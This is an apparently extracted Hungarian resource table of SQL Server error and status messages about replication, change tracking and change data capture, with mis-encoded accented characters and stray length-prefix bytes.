A(z)  %1!s!  cikk nem vehetQ fel. Az  indexed view logbased  belltssal kzztett indexelt nzetek s a  proc exec  tpus brmelyik formjban megadott trolt eljrsok nem tehetQk kzz, ha a kzs alaptbljuk szintn kzz van tve.

XML-, CLR- vagy MAX-tpus oszlop nem vltoztathat meg, mert a tbla kzz van tve, s a(z)  %1!s!  cikk azt a smabelltst tmogatja, amelyik alaptpushoz rendeli hozz az oszlopot.

A(z)  %1!s!  eljrs nem mdosthat gy, hogy az  indexed view logbased  belltssal kzztett indexelt nzettQl vagy egy alaptbltl fggjn, mert az indexelt nzet szintn ettQl a tbltl fgg.

Nem tallhat terjesztsi gynki feladat a megadott tranzakcis vagy pillanatkpes lehvsos elQfizetshez.

Nem tallhat egyestsi gynki feladat a megadott egyestses lehvsos elQfizetshez.

A megadott lekrses elQfizetshez nincs belltva szinkronizlsi gynki feladat.

Ha mr be van lltva a(z)  %3!s!  rtk, akkor a(z)  %1!s!  tulajdonsg nem mdosthat a kvetkezQre:  %2!s! .

xA trskzi kiadvnyok esetben csak a(z) %2!s! rtkq  %1!s!  tmogatott. A(z)  %3!s!  cikknl a(z)  %4!s!  jelenleg %5!s! rtkq. A folytatshoz meg kell vltoztatni ezt az rtket.

4A trskzi kiadvnyok esetben nem tmogatott a(z) %1!s!. A(z)  %2!s!  cikkhez jelenleg a(z) %3!s! tartozik. A folytatshoz meg kell vltoztatni ezt.

TAz sp_link_publication trolt eljrsban megadott %1!s! bejelentkezsi azonost nincs hozzrendelve egyetlen felhasznlhoz sem a(z) %2!s! kzztevQi adatbzisban.

$A .NET-szerelvnyek zletilogika-kezelQjnek esetben a .NET-szerelvny nevnek rvnyes szerelvnynvnek kell lennie abban a(z)  %1!s!  objektumban, amely a Microsoft.SqlServer.Replication.BusinessLogicSupport.BusinessLogicModule felletet megvalst osztlyt tartalmazza. EllenQrizze az zletilogika-kezelQ bejegyzst, s gyQzQdjn meg arrl, hogy a .NET-szerelvny neve helyesen van megadva.

 A pillanatkp nem tudja feldolgozni a(z)  %2!s!  kiadvnyban tallhat  %1!s!  cikket. Lehetsges, hogy a frisstsi vagy a visszalltsi folyamat eldobta a(z)  %3!s!  indexelt nzet frtztt indext. Hozza ltre jbl az indexet, s futtassa jbl a pillanatkpet.

A(z)  %1!s!  elQfizetsi tulajdonsg nem vltoztathat meg, ehhez az elQfizetshez nem tartozik bejegyzs az MSsubscription_properties tblban. A tulajdonsg megvltoztatsa elQtt hvja meg az sp_addmergepullsubscription_agent trolt eljrst.

8A rendszer megszaktotta az aktulis mqveletet, mert az inaktivlna egy cikket abban a kiadvnyban, amelyrQl a rendszer ppen pillanatkpet ksztett.

XFILESTREAM oszlopok nem tehetQk kzz kiadvnyban  database snapshot  vagy  database snapshot character  belltssal rendelkezQ szinkronizlsi mdszer hasznlatval.

A SPARSE tulajdonsg nem vehetQ fel a(z)  %1!s!  cikk oszlopba, mert az egyestses replikci nem tmogatja a ritka oszlopokat.

`A(z)  %1!s!  cikk nem tehetQ kzz, illetve a COLUMN_SET attribtumkszlet nem vehetQ fel a(z)  %2!s!  alaptbljba, mert a replikci nem tmogatja az oszlopkszleteket.

A(z)  %1!s!  kiadvnytulajdonsgot  true  vagy  false  rtkqre kell belltani.

A(z)  %1!s!  kiadvnytulajdonsg csak  %2!s!  rtkqre llthat be, ha a(z)  %3!s!  kiadvnytulajdonsg  %4!s!  rtkqre van belltva.

,Nem sikerlt az ALTER TABLE SWITCH utasts vgrehajtsa. A(z)  %1!s!  tbla olyan kiadvnyhoz tartozik, amely nem engedlyezi a partcivltst.

Nem sikerlt az ALTER TABLE SWITCH utasts vgrehajtsa. Az utasts nem engedlyezett, mert az utastsban szereplQ egy vagy tbb tbla olyan cikk, amelynek klnbzQ clknt megadott tblja vagy tulajdonosa van. 

Nem lehet szqrQt felvenni a javasolt  %1!s!  szlQcikk s a javasolt  %2!s!  gyermekcikk kztt, mert ez ciklust okozna a szqrQkapcsolatban. A javasolt szlQcikket mr szqri a gyermekcikk.

A terjesztsi gynk holtpontot szlelt, mikzben megprblt parancsokat vgrehajtani SubscriptionStreams mdban. A(z) %1!s! azonostj szolgltatsprofil a(z)  %5!s!  tbla  %4!s!  indexnek zrolsra (tpus:  %2!s! , md:  %3!s! ) vrakozik.

A(z) %2!s! adatbzis %1!s! kzztevQje nem lett tirnytva.

A(z)  %1!s!  nevq virtulis hlzathoz trstott rendelkezsre llsi csoport nem tartalmaz msodpldnyokat. 

n nem jogosult a kvetkezQ trolt eljrs futtatsra: %1!s!. 

A kvetkezQ trolt eljrst egy terjesztsi adatbzisbl kell futtatni: %1!s!. Az aktulis %2!s! adatbzis nem terjesztsi adatbzis. 

A kvetkezQ trolt eljrs @original_publisher s @publisher_db paramtere nem lehet NULL:  %1!s! . 

A(z)  %1!s!  terjesztQ nem az eredeti  %2!s!  kzztevQ s a(z)  %3!s!  kzztevQi adatbzis terjesztQje. 

A(z)  %2!s!  adatbzis eredeti  %1!s!  kzztevQje nem a terjesztQ tvoli kiszolglja. 

TNem hozhat ltre csatolt kiszolgl az eredeti  %1!s!  kzztevQhz s a(z)  %2!s!  kzztevQi adatbzishoz tartoz tvoli kzztevQvel s a(z)  %3!s!  tirnytott kzztevQvel val kapcsolatfelvtelre. A(z)  %4!s!  parancs vgrehajtsa sikertelen volt, hiba:  %5!s! , hibazenet:  %6!s! . 

Nem lehet lekrdezni az eredeti  %2!s!  kzztevQhz s a(z)  %3!s!  kzztevQi adatbzishoz tartoz  %1!s!  tirnytott kiszolglt a tvoli kiszolgl nevnek megllaptsa rdekben. Hiba: %4!s!, hibazenet:  %5!s! . 

8A(z)  %1!s!  virtulis hlzat nevt hasznltk az eredeti  %2!s!  kzztevQhz s a(z)  %3!s!  adatbzishoz tartoz tirnytott kzztevQ azonostsra. Azonban az ehhez a virtulis hlzati nvhez tartoz rendelkezsre llsi csoport nem tartalmazza a kzztevQi adatbzist. 

TAz eredeti  %3!s!  kzztevQhz s a(z)  %4!s!  adatbzishoz tartoz  %2!s!  tirnytott kzztevQnl levQ  %1!s!  adatbzis nincs szinkronizlva, vagy nem aktv. 

Az eredeti  %3!s!  kzztevQhz s a(z)  %4!s!  adatbzishoz tartoz  %2!s!  tirnytott kzztevQnl levQ  %1!s!  adatbzis egy HADRon rendelkezsre llsi csoporthoz tartozik, s a hozzrendelt HADRon virtulis hlzatnvre kell tirnytani. 

Sikertelen volt annak a lekrdezsnek a vgrehajtsa az tirnytott  %1!s!  kiadnl, amely annak megllaptsra irnyult, hogy a kiad  %2!s!  adatbzisa egy rendelkezsre llsi csoporthoz tartozik-e. Hiba:  %3!s! , hibazenet:  %4!s! . 

A(z)  %1!s!  tirnytott kzztevQnl futtatott, a(z)  %2!s!  kzztevQi adatbzishoz tartoz rendelkezsre llsi csoport llapotnak meghatrozsra szolgl lekrdezs sikertelen volt. Hiba:  %3!s! , hibazenet:  %4!s! . 

A sikertelen hvs visszatrsi kdja a kvetkezQ volt:  %1!s! . 

hA visszaadott tvoli kiszolglnv null volt. 

Sikertelen volt annak a lekrdezsnek a vgrehajtsa az tirnytott  %1!s!  kiadnl, amely annak megllaptsra irnyult, hogy a kiad  %2!s!  adatbzisa egy rendelkezsre llsi csoporthoz tartozik-e. Hiba:  %3!s! , hibazenet:  %4!s! . 

Az SQL Server  %1!s!  pldnya nincs konfigurlva a replikci tmogatsra. Annak lehetQv ttelhez, hogy az SQL Server-pldny replikcis kzztevQknt mqkdjn, konfigurlja a replikcit a pldnyon.

Az SQL Server  %1!s!  pldnya nem replikcis kzztevQ. Futtassa az sp_adddistributor trolt eljrst az SQL Server  %2!s!  pldnyn a(z)  %3!s!  terjesztQ megadsval, hogy engedlyezze a kvetkezQ kzztevQi adatbzis futtatst a pldnyon:  %4!s! . gyeljen arra, hogy ugyanazt a bejelentkezsi nevet s jelszt adja meg, mint amelyet az eredeti kzztevQhz hasznlt.

8Az SQL Server  %1!s!  pldnya a megadott  %2!s!  terjesztQvel s  %3!s!  terjesztsi adatbzissal nem hasznlhat a kvetkezQ kzztevQi adatbzissal:  %4!s! . Konfigurlja jra a kzztevQt gy, hogy az a(z)  %5!s!  terjesztQt s a(z)  %6!s!  terjesztsi adatbzist hasznlja. 

 A(z)  %2!s!  terjesztQvel mqkdQ  %1!s!  kzztevQ nem ismert kzztevQknt a kvetkezQ terjesztQnl:  %3!s! . Futtassa az sp_adddistpublisher trolt eljrst a(z)  %4!s!  terjesztQnl, hogy a tvoli kiszolgl futtathassa a kvetkezQ kzztevQi adatbzist:  %5!s! .

A msodpldnytagok kiszolglneve nem krdezhetQ le a sys.availability_replicas nzetbQl a rendelkezsre llsi csoport elsQdleges tagjnl, amely a(z)  %1!s!  nevq virtulis hlzathoz van trstva: hiba = %2!s!, hibazenet = %3!s!.

Az eredeti  %2!s!  kzztevQ elQfizetQi (%1!s!) nem jelennek meg tvoli kiszolglknt az tirnytott  %3!s!  kzztevQnl. Futtassa az sp_addlinkedserver trolt eljrst az tirnytott kzztevQnl, hogy felvegye ezeket az elQfizetQket tvoli kiszolglknt.

Nem konfigurlhat csatolt kiszolgl a msodpldnyokat futtat  %1!s!  kiszolgl lekrdezshez: visszatrsi kd = %2!s!.

Egy vagy tbb kzztevQ-rvnyestsi hiba trtnt a msodpldnyokat futtat  %1!s!  llomsnl.

Sikertelen volt a(z)  %1!s!  tirnytott kzztevQnl futtatott lekrdezs, amely annak megllaptsra irnyult, hogy az SQL Server-pldny replikcis kzztevQ-e. Hiba:  %2!s! , hibazenet:  %3!s! . 

lSikertelen volt a lekrdezs, amely annak megllaptsra irnyult, hogy a helyi  %1!s!  terjesztQ a tvoli  %2!s!  kzztevQ terjesztQje-e. Hiba:  %3!s! , hibazenet:  %4!s! . 

A(z)  %1!s!  kzztevQ a(z)  %2!s!  terjesztsi adatbzist hasznlja a(z)  %3!s!  helyett, pedig ez utbbi szksges a kvetkezQ kzztevQi adatbzis futtatshoz:  %4!s! . Futtassa az sp_changedistpublisher trolt eljrst a(z)  %5!s!  terjesztQnl, hogy mdostsa a kzztevQ ltal hasznlt terjesztsi adatbzist a kvetkezQre:  %6!s! .

Sikertelen volt a(z)  %1!s!  tirnytott kzztevQnl futtatott lekrdezs, amely annak megllaptsra irnyult, hogy tartoztak-e sysserver bejegyzsek az eredeti  %2!s!  kzztevQ elQfizetQihez. Hiba:  %3!s! , hibazenet:  %4!s! . 

A CHANGE_TRACKING_IS_COLUMN_IN_MASK fggvny change_columns argumentumban megadott rtk rvnytelen. Az rtknek a CHANGETABLE(CHANGES ...) fggvny ltal visszaadott bitmaszknak kell lennie.

A CHANGETABLE fggvny CHANGES kapcsoljhoz megadott argumentumok rvnytelenek.

A CHANGETABLE fggvny VERSION kapcsoljhoz megadott argumentumok rvnytelenek.

A CHANGETABLE fggvny ltal visszaadott tblhoz aliasnevet kell megadni.

A vltozskvets nincs engedlyezve a kvetkezQ tblra:  %1!s! .

A CHANGETABLE fggvny nem tmogatja a tvoli adatforrsokat.

A CHANGETABLE fggvny nem tmogatja a(z)  %1!s!  objektum adattpust. Az objektumnak felhasznl ltal definilt tblnak kell lennie.

A CHANGE_TRACKING_CONTEXT WITH zradk nem hasznlhat SELECT utastssal.

TA CHANGE_TRACKING_CONTEXT WITH zradk  context  argumentumnak varbinary (vltoz hosszsg binris) adattpusnak kell lennie, amelynek maximlis hosszsga 128.

A CHANGETABLE(VERSION ...) fggvnyben megadott oszlopok szma nem egyezik a(z)  %1!s!  tbla elsQdleges-kulcs oszlopainak szmval.

A CHANGETABLE(VERSION ...) fggvnyben megadott  %1!s!  oszlop nem rsze a(z)  %2!s!  tbla elsQdleges kulcsnak.

Minden elsQdlegeskulcs-oszlopot egyszer kell megadni a CHANGETABLE(VERSION ...) fggvnyben. A(z)  %1!s!  oszlop tbbszr van megadva.

A(z) %1!s! nem engedlyezett, mert a tbla vltozskvetsre van belltva.

Az ALTER DATABASE utasts vltozskvetsi kapcsoli nem egyesthetQk az ALTER DATABASE utasts ms kapcsolival.

A vltozskvets engedlyezve van a(z)  %1!s!  adatbzis egy vagy tbb tbljban. Tiltsa le minden tblban a vltozskvetst, mielQtt letiltan azt az adatbzisra vonatkozan. A sys.change_tracking_tables katalgusnzet hasznlatval tekintheti meg az olyan tblk listjt, amelyekben engedlyezve van a vltozskvets.

A vltozskvets nem tmogatott az SQL Server jelen kiadsban.

A vltozsok kvetse nem tmogatott olyan adatbzisokban, amelyek tagjai egy msodlagos rendelkezsre llsi msodpldnynak. A vltozskvetsi lekrdezseket az elsQdleges rendelkezsre llsi msodpldnyban levQ adatbzisokon futtassa.

Vratlan

A kiadvnyban tallhat sszes cikk megfelelt az adatrvnyests feltteleinek (sorok szma s ellenQrzQsszeg).

A kiadvnyban szereplQ nem mindegyik cikk ment keresztl adatellenQrzsen (csak sorszmols)

(Inicializls.

\A pillanatkp alkalmazsa az elQfizetQre.

Az egyests adatvltozsok feldolgozsa nlkl befejezQdtt.

TNem volt szksg adatok egyestsre.

dAz adatvltozsok feltltse a kzztevQhz.

\Adatvltozsok letltse az elQfizetQnek.

LAz elQfizetsi adatok beolvassa.

LA kiadvny adatainak beolvassa.

TAz egyests sikeresen befejezQdtt.

lNem szqrt kiadvnyokkal nem hasznlhatk partcicsoportok. lltsa be a  use_partition_groups  tulajdonsgot  false  rtkre az sp_changemergepublication eljrs hasznlatval.

Nem hasznlhatk partcicsoportok, mert a kvetkezQ cikkek kztti illesztsi szqrQ egy vagy tbb fggvnyt hasznl:  %1!s!  s  %2!s! .

Nem hasznlhatk partcicsoportok, mert egy vagy tbb szqrQ a kvetkezQ, fggvnyeket tartalmaz nzetre hivatkozik:  %1!s! .

4A kiadvny nem hasznlhat elQre szmtott partcikat, mert az illesztsi szqrQkben legalbb egy krkrs hivatkozs szerepel a kiadvnyban megadott cikkekre vonatkozan. ElQre szmtott partcik hasznlathoz biztostsa, hogy ne legyenek krkrs illesztsiszqrQ-kapcsolatok.

A(z)  %1!s!  kiadvny dinamikus szqrQket tartalmazknt van megadva, de nem tartalmaz egyetlen dinamikus szqrQt sem.

gy van megadva, hogy a kiadvny nem tartalmaz dinamikus szqrQt, de egy vagy tbb dinamikus szqrQ szerepel benne.

\Kp, ntext, xml, CLR, varchar(max), nvarchar(max) s varbinary(max) tpus oszlopok nem hasznlhatk a kvetkezQ cikk rszhalmazban vagy illesztsi szqrQjben:  %1!s! .

A(z)  %1!s!  s  %2!s!  tbla kztt nem vehetQ fel logikai rekordkapcsolat, mert az illesztsi zradkban szveg, kp, ntext, xml, varchar(max), nvarchar(max) vagy varbinary(max) tpus oszlopra mutat hivatkozs szerepel.

A(z)  %1!s!  cikk nem tehetQ kzz, mert egy msik egyestsi kiadvnyban van kzztve. Egy cikk, amelynl az sp_addmergearticle eljrs @partition_options paramternek rtke 3 (nem tfedsben lvQ partcik, partcinknt egyetlen elQfizetssel), nem szerepeltethetQ tbb kiadvnyban vagy elQfizetsben, s nem tehetQ kzz jbl. Ahhoz, hogy a cikk tbb kiadvnyban szerepelhessen, az sp_changemergearticle eljrs hasznlatval adjon meg msik rtket a meglvQ cikk partition_options tulajdonsghoz.

Egy cikk nem tudja egyszerre a @partition_options 2 vagy 3 rtket (tfedsben nem lvQ partcik) hasznlni, s kzben logikai rekordkapcsolat rsze lenni. EllenQrizze a(z)  %1!s!  cikket.

A(z)  %1!s!  cikk egy msik egyestses kiadvnyban van kzztve, s eltrQ rtk van megadva az sp_addmergearticle eljrs @partition_options paramterhez. A megadott rtknek az sszes egyestsi kiadvnyban azonosnak kell lennie. Vagy adja meg ugyanazt az rtket, mint a meglvQ cikk, vagy mdostsa a meglvQ cikket az sp_changemergearticle eljrssal. 

A(z)  %1!s!  kiadvny nem tehet lehetQv partcinknt tbb elQfizetst, ha a @partition_options = 3 rtket hasznl cikkeket tartalmaz.

rvnytelen rtk volt megadva a kvetkezQre vonatkozan: %1!s!. Az rvnyes rtkek: 0 (nincs), 1 (knyszertett partcik), 2 (nem tfedsben lvQ partcik, partcinknt tbb elQfizets) s 3 (nem tfedsben lvQ partcik, partcinknt egyetlen elQfizets).

rvnytelen rtk van megadva a kvetkezQre vonatkozan: %1!s!. Az rvnyes rtkek:  day ,  days ,  dd ,  year ,  years ,  yy ,  yyyy ,  month ,  months ,  mm ,  week ,  weeks ,  wk ,  hour ,  hours ,  hh ,  minute ,  minutes ,  mi .

A(z)  %1!s!  kiadvnyhoz nem hasznlhat a  days  rtktQl eltrQ megQrzsi idQ, mert a kiadvny kompatibilitsi szintje 90 alatti. Az sp_changemergepublication eljrs hasznlatval lltsa be a publication_compatibility_level tulajdonsgot 90RTM rtkre.

A(z)  %1!s!  kiadvnyra vonatkozan nem mdosthat a megQrzsi idQ egysge, mert a kiadvny kompatibilitsi szintje 90 alatti. Az sp_changemergepublication eljrs hasznlatval lltsa be a publication_compatibility_level tulajdonsgot 90RTM rtkre.

A(z)  %1!s!  cikkben nem frissthetQ egyetlen oszlop sem, amely logikai rekordkapcsolatban van hasznlatban.

A karakter md kiadvny nem tmogatja a particionlt tblkat.

Heterogn kiadvnyok esetben a(z) %1!s! paramtereket kell megadni a(z)  %2!s!  meghvsakor.

A(z) %1!s! paramterrtk heterogn kiadvnyok esetben nem frissthetQ s nem mdosthat.

lA megadott job_login bejelentkezsi azonostnak a terjesztsi kzztevQ hozzadsakor (sp_adddistpublisher) meg kell felelnie a megadott kzztevQi bejelentkezsi azonostnak.

@A replikcis trolt eljrsok hasznlatval csak replikcis feladatok vagy feladattemezsek vehetQk fel, mdosthatk, dobhatk el vagy tekinthetQk meg.

A(z) %1!s! paramterek hasznlata rvnytelen, amikor a(z) %2!s! paramter belltsa %3!s!.

<A(z)  %1!s!  kiadvny nem llthat be a  character  sync_mode szinkronizlsi md hasznlatra, mert egy vagy tbb logikai rekordkapcsolatot tartalmaz.

A(z)  %1!s!  kiadvnyba nem vehetQ fel logikai rekordkapcsolat, mert a  character  sync_mode szinkronizlsi mdot alkalmazza, s SQL Server Compact Edition-elQfizetQk tartozhatnak hozz.

rvnytelen rtk van megadva a @subscriber_upload_options tulajdonsghoz. Az rvnyes rtkek: 0 (feltltsek engedlyezse), 1 (feltltsek letiltsa), 2 (feltltsek letiltsa, elQfizetQ-vltozsok tiltsa) s 3 (disable_outofpartition_subscriber_changes).

Amikor a @allow_partition_realignment kiadvnytulajdonsg  false  rtkre van belltva, a @subscriber_upload_options cikktulajdonsgot a kiadvny sszes cikkre vonatkozan gy kell belltani, hogy le legyenek tiltva a feltltsek.

A(z)  %1!s!  kiadvnyba nem vehetQ fel logikai rekordkapcsolat, mert lehetQv teszi a webes szinkronizlst.

A(z)  %1!s!  kiadvny nem llthat be a webes szinkronizls engedlyezsre, mert egy vagy tbb logikai rekordkapcsolatot tartalmaz.

Egyidejq pillanatkp nem megengedett pillanatkp-kiadvnyokhoz.

A vertiklis particionls csak napl alap cikkek esetben megengedett.

Ehhez az elQfizetshez mr van egy megosztott terjesztsi gynk (%1!s!).

A(z)  %1!s!  nem dobhat el a vertiklis partcirl, ha az identityrangemanagementoption tulajdonsg automatikus rtkre van belltva.

A(z)  %1!s!  tpus rvnytelen. Az rvnyes tpusok:  merge ,  tran  s  both .

A  @resync_date_str  paramterhez rvnyes rtket kell megadni, ha a  @resync_type  tulajdonsg belltott rtke 2.

A  @resync_type  paramter belltsa  %1!s! , de ez az elQfizets soha nem volt sikeresen rvnyestve.

A(z)  %1!s!  kiadvny nem llthat be a  character  sync_mode szinkronizlsi md hasznlatra, mert a  day  egysgtQl eltrQ megQrzsi idQszakot alkalmaz. Az sp_changemergepublication eljrs hasznlatval lltsa be a megQrzsi idQ egysgt  day  rtkre.

A megQrzsi idQ egysge nem llthat be a  day  rtktQl eltrQre a(z)  %1!s!  kiadvny esetben, mert a  character  sync_mode szinkronizlsi mdot alkalmazza, s SQL Server Compact Edition-elQfizetQk tartozhatnak hozz.

rvnytelen rtk a kvetkezQ tulajdonsghoz:  %1!s! . Az rvnyes rtkek: 1 s 0.

A smavltozs llapott nem sikerlt frissteni, mert a kiadvny kompatibilitsi szintje 90 alatti. Az sp_changemergepublication eljrs hasznlatval lltsa a(z)  %1!s!  kiadvny publication_compatibility_level tulajdonsgt 90RTM rtkre.

lA smavltozs llapott nem sikerlt frissteni.

A smavltozsnak  active  vagy  skipped  llapotnak kell lennie.

,Az egyestses replikci nem engedi az olyan szqrQk hasznlatt, amelyek egy vagy tbb paramtert fogadnak. EllenQrizze a(z)  %1!s!  fggvnyt.

A krt mqvelet sikertelen volt, mert a kiadvny kompatibilitsi szintje 90 alatti. Az sp_changemergepublication eljrs hasznlatval lltsa a(z)  %1!s!  kiadvny publication_compatibility_level tulajdonsgt 90RTM rtkre.

Kiadvny kompatibilitsi szintje nem mdosthat a meglvQnl alacsonyabb rtkre.

egy vagy tbb olyan cikket tartalmaz, amelyek nem tltik fel a vltozsokat

8DDL-replikcit hasznl

da megQrzsi idQ egysgeknt nem napot hasznl

@logikai rekordokat hasznl

egy vagy tbb olyan cikket tartalmaz, amelyek elQfizets vagy partci alap szqrst alkalmaznak

egy vagy tbb olyan cikket tartalmaz, amelyek nem kompenzljk a hibkat

|egy vagy tbb kizrlag sma tartalm cikk szerepel benne

egy vagy tbb olyan cikket tartalmaz, amelyek automatikus identitstartomny-kezelst alkalmaz

egy vagy tbb olyan cikket tartalmaz, amelyek az SQL Server 2000 verziban j adattpusokat hasznlnak

egy vagy tbb olyan cikket tartalmaz, amelyben idQblyeg oszlop szerepel

pillanatkp-tmrtst hasznl a snapshot_in_defaultfolder tulajdonsg hamis rtkre val belltsval

egy vagy tbb olyan cikket tartalmaz, amelyek vertiklis particionlst hasznlnak

hAmikor a  published_in_tran_pub  cikktulajdonsg  true  rtkre van belltva, az  upload_options  cikktulajdonsgot gy kell belltani, hogy ne engedlyezze a feltltseket.

 A(z)  %1!s!  kiadvny nem llthat be a use_partition_groups hasznlatnak tiltsra, mert egy vagy tbb logikai rekordkapcsolatot tartalmaz. Logikai rekordkapcsolatok hasznlatakor a kiadvnynak a @use_partition_groups tulajdonsgot  true  rtkre kell belltania.

A(z)  %1!s!  kiadvny elQfizetse nem tallhat, de van megosztott gynk. Megosztott gynkn keresztl repliklt kiadvny elQfizetsnek megadshoz adja meg a kiadvny neveknt a(z)  %2!s!  rtket.

0A(z)  %1!s!  adatbzis nem tehetQ kzz, mert egy msik kiszolgln kzztettknt van megjellve. Mg az adatbzis kzzttelnek megksrlse elQtt hajtsa vgre az sp_replicationdboption eljrst s adjon meg FALSE rtket a  publish  s a  merge publish  tulajdonsgokhoz.

A(z)  %1!s!  cikk nem vehetQ fel vagy nem mdosthat a kvetkezQ kiadvnyban:  %2!s! . A FILESTREAM-oszlopok replikcija nem tmogatott olyan kiadvnyok esetn, amelyeknl a  sync_mode  rtk 1 (karakteres md). Az sp_addmergepublication vagy az sp_changemergepublication trolt eljrs hasznlatval lltsa be 0-ra (natv md) a kiadvny  sync_mode  rtkt, vagy fggQlegesen particionlja a cikket, hogy a FILESTREAM-oszlop ne legyen repliklva.

A(z)  %1!s!  cikk nem vehetQ fel vagy nem mdosthat a kvetkezQ kiadvnyban:  %2!s! . A FILESTREAM-oszlopok replikcija nem tmogatott olyan kiadvnyok esetn, amelyeknl a  publication_compatibility_level  rtk kisebb, mint  90RTM  (SQL Server 2005). Az sp_addmergepublication vagy az sp_changemergepublication trolt eljrs hasznlatval adjon meg  90RTM  rtknl nem kisebb  publication_compatibility_level  belltst, vagy fggQlegesen particionlja a cikket, hogy a FILESTREAM-oszlop ne legyen repliklva.

lA(z)  %1!s!  cikk nem vehetQ fel vagy nem mdosthat a kvetkezQ kiadvnyban:  %2!s! . A FILESTREAM-oszlopok replikcija nem tmogatott olyan kiadvnyok esetn, amelyeknl a  schema_option  rtk 0x20000000. Ez a bellts konvertlja a nagy objektumos adattpusokat a Microsoft SQL Server korbbi verziiban tmogatott adattpusokra. Az sp_addmergepublication vagy az sp_changemergepublication trolt eljrs hasznlatval tvoltsa el ezt a  schema_option  belltst, vagy fggQlegesen particionlja a cikket, hogy a FILESTREAM-oszlop ne legyen repliklva.

hA(z)  %1!s!  oszlop nem vehetQ fel s nem mdosthat a(z)  %3!s!  kiadvny  %2!s!  cikkben. A hierarchyid s FILESTREAM oszlopokon nem tmogatott a DDL mqvelet olyan kiadvnyok esetben, amelyeknl a  sync_mode  rtke 1 (karakter md) vagy 90RTM alatti visszamenQleges kompatibilitsi szintjk van. 

xAz adatvltozsok rgztst gyqjtQ gynk feladatnak indtsa. A mqvelet haladsval kapcsolatos informcirt krdezze le a sys.dm_cdc_log_scan_sessions dinamikus kezelsi nzetet.

Az adatvltozsok rgztst gyqjtQ gynk feladatnak indtsa a(z) %1!s! als kszbbel.

Az adatvltozsok rgztse beolvasta a naplt LSN{%1!s!} s LSN{%2!s!} kztt, %3!s! tranzakcit s %4!s! parancsot nyert ki belQle. A mqvelet haladsval kapcsolatos informcirt krdezze le a sys.dm_cdc_log_scan_sessions dinamikus kezelsi nzetet.

`Az adatvltozsok rgztse nem tudja folytatni a feladathoz kapcsold mqveletet, mert a(z) %1!s! adatbzison engedlyezve van a tranzakcis replikci, de a terjesztQ adatai nem olvashatk be a logreader gynkre vonatkozan. Tegye elrhetQv a terjesztQ adatbzist, vagy tiltsa le a terjesztst.

DA kvetkezQ kezdemnyezQazonost rvnytelen:  %1!s! . Olyan nem nulla rtkq azonostt kell megadnia, amely mg soha nem volt hasznlatban a topolgiban.

A(z)  %1!s!  kiadvnytulajdonsg nem mdosthat, mert a(z)  %2!s!  trs-trs kiadvnyhoz nincs engedlyezve az tkzsek szlelse. A kiadvny tkzsszlelst az sp_configure_peerconflictdetection eljrs hasznlatval engedlyezheti.

Az eljrst ( %1!s! ) nem sikerlt vgrehajtani. Az eljrs vgrehajtsa elQtt a(z)  %2!s!  kiadvnyra vonatkozan engedlyezni kell a trs-trs replikcit. A kiadvnyon a trs-trs replikci az sp_changepublication eljrs hasznlatval engedlyezhetQ.

A @action paramter rtke nem rvnyes. Az rvnyes rtkek:  enable  s  disable .

Az oda- s visszat idQtllpse csak nullnl nagyobb lehet.

A minQstett tblanv ( %1!s! ) tl hossz ahhoz, hogy trs-trs tkzsszlelsre engedlyezhetQ legyen.

`Trs-trs tkzsszlels   figyelmeztets

A(z)  %1!s!  kiadvnyon mr %2!s! llapot volt a trs-trs tkzsszlels.

@A parancs (%1!s!) sikertelen volt. A @ins_cmd, @del_cmd vagy @upd_cmd paramterekhez a(z) %3!s! mretkorlton bell nem fqzhetQ hozz a(z) %2!s! smanv. 

Nem sikerlt frissteni azokat a metaadatokat, amelyek azt mutatjk, hogy a(z) %1!s! adatbzishoz engedlyezve van az adatvltozsok rgztse. A hiba a(z)  %2!s!  parancs vgrehajtsa kzben lpett fel. Az eredmnyl kapott hiba %3!s!:  %4!s! . A mqvelet s a hiba hasznlatval llaptsa meg a sikertelensg okt, s kldje el jra a krelmet.

Nem sikerlt frissteni azokat a metaadatokat, amelyek azt mutatjk, hogy a(z) %1!s! adatbzishoz nincs engedlyezve az adatvltozsok rgztse. A hiba a(z)  %2!s!  parancs vgrehajtsa kzben lpett fel. Az eredmnyl kapott hiba %3!s!:  %4!s! . A mqvelet s a hiba hasznlatval llaptsa meg a sikertelensg okt, s kldje el jra a krelmet.

Nem sikerlt frissteni azokat a metaadatokat, amelyek azt mutatjk, hogy a(z) %1!s! tblra vonatkozan engedlyezve van az adatvltozsok rgztse. A hiba a(z)  %2!s!  parancs vgrehajtsa kzben lpett fel. Az eredmnyl kapott hiba %3!s!:  %4!s! . A mqvelet s a hiba hasznlatval llaptsa meg a sikertelensg okt, s kldje el jra a krelmet.

Nem sikerlt frissteni azokat a metaadatokat, amelyek azt mutatjk, hogy a(z) %1!s! tblra vonatkozan nincs engedlyezve az adatvltozsok rgztse. A hiba a(z)  %2!s!  parancs vgrehajtsa kzben lpett fel. Az eredmnyl kapott hiba %3!s!:  %4!s! . A mqvelet s a hiba hasznlatval llaptsa meg a sikertelensg okt, s kldje el jra a krelmet.

,A(z) %1!s! tbla rszletes naplzsi llapott nem sikerlt mdostani. A hiba a(z)  %2!s!  parancs vgrehajtsa kzben lpett fel. Az eredmnyl kapott hiba %3!s!:  %4!s! . A mqvelet s a hiba hasznlatval llaptsa meg a sikertelensg okt, s kldje el jra a krelmet.

Nem sikerlt frissteni a(z) %1!s! adatbzis metaadatait annak jelzsre, hogy a rendszer eldobott egy adatvltozs-rgztsi feladatot. A hiba a(z)  %2!s!  parancs vgrehajtsa kzben lpett fel. Az eredmnyl kapott hiba %3!s!:  %4!s! . A mqvelet s a hiba hasznlatval llaptsa meg a sikertelensg okt, s kldje el jra a krelmet.

Nem sikerlt frissteni a(z) %1!s! adatbzis metaadatait annak jelzsre, hogy adatvltozs-rgztsi feladat hozzadsa trtnt. A hiba a(z)  %2!s!  parancs vgrehajtsa kzben lpett fel. Az eredmnyl kapott hiba %3!s!:  %4!s! . A mqvelet s a hiba hasznlatval llaptsa meg a sikertelensg okt, s kldje el jra a krelmet.

Nem sikerlt trlni a(z)  %1!s!  rgztsi pldnyhoz trstott tblabejegyzseket, illetve eldobott objektumokat. A hiba a(z)  %2!s!  parancs vgrehajtsa kzben lpett fel. Az eredmnyl kapott hiba %3!s!:  %4!s! . A mqvelet s a hiba hasznlatval llaptsa meg a sikertelensg okt, s kldje el jra a krelmet.

